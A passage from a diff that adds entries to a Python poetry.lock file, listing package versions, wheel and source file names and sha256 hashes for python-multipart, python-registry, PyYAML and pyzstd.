= "sha256:c1ba14b08e4a5f5c31a302b7721239695b2f0f058d125bd5ce1ee36b9d9d3c3b"}, + {file = "python_magic-0.4.27-py2.py3-none-any.whl", hash = "sha256:c212960ad306f700aa0d01e5d7a325d20548ff97eb9920dcd29513174f0294d3"}, +] + +[[package]] +name = "python-multipart" +version = "0.0.6" +description = "A streaming multipart parser for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "python_multipart-0.0.6-py3-none-any.whl", hash = "sha256:ee698bab5ef148b0a760751c261902cd096e57e10558e11aca17646b74ee1c18"}, + {file = "python_multipart-0.0.6.tar.gz", hash = "sha256:e9925a80bb668529f1b67c7fdb0a5dacdd7cbfc6fb0bff3ea443fe22bdd62132"}, +] + +[package.extras] +dev = ["atomicwrites (==1.2.1)", "attrs (==19.2.0)", "coverage (==6.5.0)", "hatch", "invoke (==1.7.3)", "more-itertools (==4.3.0)", "pbr (==4.3.0)", "pluggy (==1.0.0)", "py (==1.11.0)", "pytest (==7.2.0)", "pytest-cov (==4.0.0)", "pytest-timeout (==2.1.0)", "pyyaml (==5.1)"] + +[[package]] +name = "python-registry" +version = "1.3.1" +description = "Read access to Windows Registry files." +optional = false +python-versions = "*" +files = [ + {file = "python-registry-1.3.1.tar.gz", hash = "sha256:99185f67d5601be3e7843e55902d5769aea1740869b0882f34ff1bd4b43b1eb2"}, + {file = "python_registry-1.3.1-py2-none-any.whl", hash = "sha256:59d3b00c04bca0c4e1a12be0404da6ccf76b87537ee3a3ad2d8fc1bccf6f63ca"}, + {file = "python_registry-1.3.1-py3-none-any.whl", hash = "sha256:b5b8ae07c271dce12dacd24e16af8aa8d56167ebdb360112a4f152b6d04a4ca9"}, +] + +[package.dependencies] +enum-compat = "*" +unicodecsv = "*" + +[[package]] +name = "pyyaml" +version = "6.0" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"}, + {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"}, + {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"}, + {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"}, + {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"}, + {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"}, + {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"}, + {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"}, + {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"}, + {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"}, + {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"}, + {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"}, + {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"}, + {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"}, + {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"}, + {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"}, + {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"}, + {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"}, +] + +[[package]] +name = "pyzstd" +version = "0.15.9" +description = "Python bindings to Zstandard (zstd) compression library, the API style is similar to Python's bz2/lzma/zlib modules." +optional = false +python-versions = ">=3.5" +files = [ + {file = "pyzstd-0.15.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:209a92fbe892bd69cde58ffcb4861468e2c3c2d0626763e16e122bb55cb1fb1a"}, + {file = "pyzstd-0.15.9-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f6d8a881b50bb2015e9bdba5edb0331e85d41ff44ab33cde551047480b98d748"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bdc09de97b1b3f6c3d87fec04d6fe29dd4fefe6b354ad2d822fc369b8aa0942b"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1b81cc86b69ff530d45e735ed479e14704999f534ad28a39f04be4a8fe2b91f"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fb00c706d0b59c53124f982bd84b7d46866a8ea2a7670aaaa1ab4dbe6001b50"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:606b2452d78f0f731566d392f8d83cd012c2ffadb2cb2e2903fdd360c1faac8a"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:23695dabdfd5081beab25754dc0105b42fbd2085a7c293901bcb45045969c5ec"}, + {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:74455bd918e7bc9883e3178a1a8fe796308670f0ee4488c80a0d9514e13807a1"}, + {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6128cb653d011f3781554b70ce1f1f388cd516820fbaf8fd03ee245ecaa48349"}, + {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a708b9e6ff1826504940beb6b5c2c9dfd4e3b55c16ab88a4572f5b9dbb64cc56"}, + {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:1b9cda5314982d64c856f9298be0d9bf69fbff0ca514d1651037616354b473ff"}, + {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:f7cfc683d320402d61205a196ace77f15dcfd16b5771f8b9ffaf406868c98e78"}, + {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3f0fe2ef7ebc6e9b347585e414c4fefd32270ba8bdf9eb82496f3030cbdca465"}, + {file = "pyzstd-0.15.9-cp310-cp310-win32.whl", hash = "sha256:e8f75e839ee253af60b03d9957182fdd069dfaebb62b4e999bd74016f4e120bb"}, + {file = "pyzstd-0.15.9-cp310-cp310-win_amd64.whl", hash = "sha256:77294f0f797c97a46ffb3daff1fe097c9d5aa9f96867333978e6791286963e50"}, + {file = "pyzstd-0.15.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:afef9eb882cf3b395eef9c85b737a4acd09528975e6a5d9faedf28874ca65f52"}, + {file = "pyzstd-0.15.9-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d44a7d4586f02b630658298c089ff755e74d0677b93c71e09d33dd35bdd4987a"}, + {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cbf212253abd65e6451acdfb608adafe98ad8f05462fb9a054ddab816545caa"}, + {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5819d502dacd54114c30bc24efcb76e723b93f8f528be70851056a396a792c46"}, + {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:50ccbaafee80b4f1c5c55bbe07f80871b9b8fe3499bf7357dde2c23fb1c2ac0e"}, + {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c420878726d677da7484f6021dbe7e1f9345a791b155de632c6ce36678fb621"}, + {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14121a4d95070f54bdc9a80dab1dd8fd9093907a1e687926447ca69b5b40a4d5"}, + {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:00c188704141c709da96cc4a79f058d51f5318e839d6f904c7cc9badcf78e98e"}, + {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:836f1d85a4b5d3689d455aeb1dc6c42acb96aaf8e5282825c00ccf2545ad5630"}, + {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:91453ce9476363d777b2ea2e9c6dccecd2073cf35697e048de2e8d47e1f36c7c"}, + {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:c249741b10eb714578d765487b767e0e7fcc2ac84a299209a6073566e730dbea"}, + {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:542808d88464d538f5d2c6b48b545a7fe15f0d20c7fa703b469d039a08c9fa10"}, + {file = "pyzstd-0.15.9-cp311-cp311-win32.whl", hash = "sha256:e79babb67b415aa54abb213897ceaa011515a5f3e146a2a97f4e6486b9743af4"}, + {file = "pyzstd-0.15.9-cp311-cp311-win_amd64.whl", hash = "sha256:ef3399e0544b46d31c2a8ff14ae1fb3c3571ae1153bbbc5ddf0d242c67bde624"}, + {file = "pyzstd-0.15.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:cd6a8d43a0c294918e3afb7e4b1d8c04d2e4c3ea9ddf05475fdaf366c7e5b3a6"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aed5fc86d0bfc5f16e871cbb35ec93df61476d7fde4c1c6081015a075ecfbc1"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f9eb97fb6fd4551ff9d5012b4fcee9abeea9c8af6b9e3ebc3c76cc2bd0a43a7"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fd7cf79949174d1018b896638f88aea1ff2a969f87a6199ea23b25b506e26c5"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51607d7d44f94a364ef0e3ccf9a92390def0faf6e7572eef082f15c657b5d03a"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4358dd80b315c82d760b44c6df7857c9c898d04e7b0c14abb0eb3692354e9379"}, + {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:013321ddaff083b24e43a8b06303446771978343b488ed73adf56c70a46e2783"}, + {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:4ed01beb31d5177456ec2c4b66591a0df83dbc72df29f05f40502bfefe47bbe4"}, + {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:69f12ce4866a3725138e97f22f2c4cb21d3ae18cd422906cd57ed12a9ffd86c5"}, + {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:305c232462dbe80d0ee5ec91b1b0ec9153ec6ba6393d5348741af5d30b07ef52"}, + {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:9e1097d8b57f64878a3f176f4cd6b9a1bbe9fb2d236f1a85a4357722626d8f25"}, + {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6c456882baab2a48a5bfabe458a557af25d0768ff29acbe200461e84c0f697d5"}, + {file = "pyzstd-0.15.9-cp36-cp36m-win32.whl", hash = "sha256:97e05f66c5847e6889594508298d78ddb84a0115e9234d598415dc5a06d3a4a7"}, + {file = "pyzstd-0.15.9-cp36-cp36m-win_amd64.whl", hash = "sha256:87a1a4ca93da414f3b6da8131e61aca6d48a4e837fb0b1cbde05ae9d13332317"}, + {file = "pyzstd-0.15.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:20f2dd56d46441cd9277077060c34c0b9ce3469412665ea5ccd506dd2708d994"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f9c5fc29a5b9d61a8f0a3494172107e0e6cf23d0cb800d6285c6722ba7fc3535"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6f281cc2f096530c339f122e0d9866545f5592dd9bffe0fade565c2771130a45"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2dd39e12f7467a7422ce50711524759d4d22016714cbae6a7096b954bc2fa32"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d3a1b6fa71a0ae7abc320d9db91b5a96a71eef1dbee0d62a6232b71c97af962"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c31f6dd5bd60688d51487a3f5e2ae29ed1948926e44d7a2316b193b083f80d5d"}, + {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:dcb2172ca8b62f82af9d1f8db80c21c64c5ba3991935caefde88bb378f0afb51"}, + {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:f66790e4b2dcfcabc0aa54dd89317ea5671cabf06aa93cbef7cbdd4d2fdb7ee3"}, + {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:960ab83a977a44284c4ffab2820ccd6c9b332571a3d622fefa4b29b0a5de72b0"}, + {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:12668ceb8329aaa908b4d907d3a77bb748ff28b309c3b105c995a8715d535d2b"}, + {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:441078bfd3b508597415338af667c3575980364f1286eedde58291558b9c2832"}, + {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:866ba6ce85f337fa1677516217b6f10fc25e19acb6e17a501d5822e66396bdd5"}, + {file = "pyzstd-0.15.9-cp37-cp37m-win32.whl", hash = "sha256:b4de7741d542a477387299bf9450e8be3e768c352d6b3438254eb02af1e59462"}, + {file = "pyzstd-0.15.9-cp37-cp37m-win_amd64.whl", hash = "sha256:d0929302d187bfeca335b7f710f774f1b2ea3f610b2a80e8a1ac2da216cd9766"}, + {file = "pyzstd-0.15.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c46e77c2ad614a0399503dc675d72436cbf6332a20d49a0e5bad03058d6cbfad"}, + {file = "pyzstd-0.15.9-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e789e19095b818f7126180b4387c0f01700c3ad2378a4e7649b2ddf4bf47ffbc"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9596aeb8c71192f4fba1ca25cec420da195219398d2df811d5082559efd9561f"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f72f310b10b730cddfb654006ae497e7706c81e6a7642d3da7fd2439df7d88d"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6a60ee6836599363a24367cf780ad45446b07eba49ec72d19bad761d5414aca7"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aff1b469187f6c789cdf17cd95c9b24e87396dc86953b1cf38b9a05cea873c80"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5d9ec8634ab0cbfbcff535ac07555ebdae0282ad66762f0471fad11c16181e33"}, + {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fc92a718bccb8ce5c9eb63fca743c38f3fa4c4e47f58f0c4ada51b2474668184"}, + {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f2839c13e486e4a23b19b1d2dc4624565cec6c228bbf803c066be1106515966b"}, + {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:346f835e368e1051f8ea187ad9b49759cf6249c9ebf2f2a3861e435a568104b8"}, + {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:5345c7a697327e2fa7c37534bb2968ea84595d8ec7fc8c4a60216ec1be6e65bd"}, + {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:49c57ae18f138a4b66480b2364fe6a0f2345ada919e93fc729c95c6b17ec73a4"}, + {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2919afd114fd12309ed2f831ef6e95730ebf13c2a92d258ad055769d00ef4d7a"}, + {file = "pyzstd-0.15.9-cp38-cp38-win32.whl", hash = "sha256:370b34a7c2f9c53cee494028daa5a7264690e1756a89c3855fd0be5ad298ec30"}, + {file = "pyzstd-0.15.9-cp38-cp38-win_amd64.whl", hash = "sha256:7ac886e04f253960ae82e38ded8352085c61d78de99412d178a94ecf475b5e5f"}, + {file = "pyzstd-0.15.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:250dad90140a6faea4cef555f339b6ceaad5cf03ed1127b8d06de214ff0db2e7"}, + {file = "pyzstd-0.15.9-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b5b517fbbc5d223fc36041673e7c2a0d3a82be6a5464a5f0599069330b76f97d"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9ac634753f6d26cba503cea7bb5b350aec7c5366f44fa68c79e9c90be9fd0ebc"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2ae8993f3863632d31ca8921c8a5dc9ecc5551c7b88895cefb5a26d17643391"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7452ae7e6d80e697d78d3f56d1b4d2a350286eea229afb35f55ab88b934b6acd"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae3d0575721a372c20130681bfaf873225fd9e1c290b7d56b7e0c14f413318f6"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:29e452caaf0de9cc17319225921d8c28cdc7a879948e990ff1e7735e7f976517"}, + {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:c41e5457f4de5d38a270bc44619873589bbe6fe251225deec583ed20199df0f3"}, + {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f169e166774587227255f6ffe71f5b3303ea73cde0e2c6d52e53b9e12c03d787"}, + {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:639935b5b3d9ed3911493504581254b76cb578279302f7f340924ac5bfca4090"}, + {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e4e00c1600022b47ef0e9e1f893cb0c2322209ec6c1581a3e3f63ed78330ddf0"}, + {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:d7ddbf234c9adc72189bb552d830e9a0c2c4401b5baf7b003eacd5c552ddcc00"}, + {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3351ad2feb51dcbb936defd47cab00d6f114214f224636503ed08298f30164c9"}, + {file = "pyzstd-0.15.9-cp39-cp39-win32.whl", hash = "sha256:3bc0e7e2cccf78e562ab416daf68448b6552a5b6450a1ff3e15cabfc19254883"}, + {file = "pyzstd-0.15.9-cp39-cp39-win_amd64.whl", hash = "sha256:40bdb468281a5cd525e2e990b97344f0974e0589bd1b395501c25471fcd7edda"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:47c2a4c319300c381f194274203f47b12c433e1fd86b90ecdc7fb258c630f93b"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86e0e65e205793b337d62d9764700dfd02b5f83b01e26ad345736e7ac0554ebd"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64564f4c175c5bb8e744de5816d69ee0b940e472160a5e665f30adc412b694f3"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dca286c6c1ca5febf13f5f2ae7e8aa7536e49bd07f4232796651a43ff741ceca"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a594795ef89bd83297c860ff585f2d25580ce9805eb9cc44c831d311e7f1951a"}, + {file = "pyzstd-0.15.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:4a0dcb32ac4d1d67a77ae6a2d60ea0921af7e682b3427202d8acb8e86642391c"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a90b901ccfd24b028faea19c927ff03f3cfefe82ba0b931fbb8da4ef0664911b"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31f60f01884350aec24e7a68f3ad089151b7a636490203c41a1a7c8e0cddd9b8"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1d8b58f00137ccbe8b828a5ede92be3f0115cef75e6bed88d4d0bd1e7a0b1fc"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2b093a74b10232c70b5d29814fcee6544bb6f30e2d922d26db9ab4b4cd00c04"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = 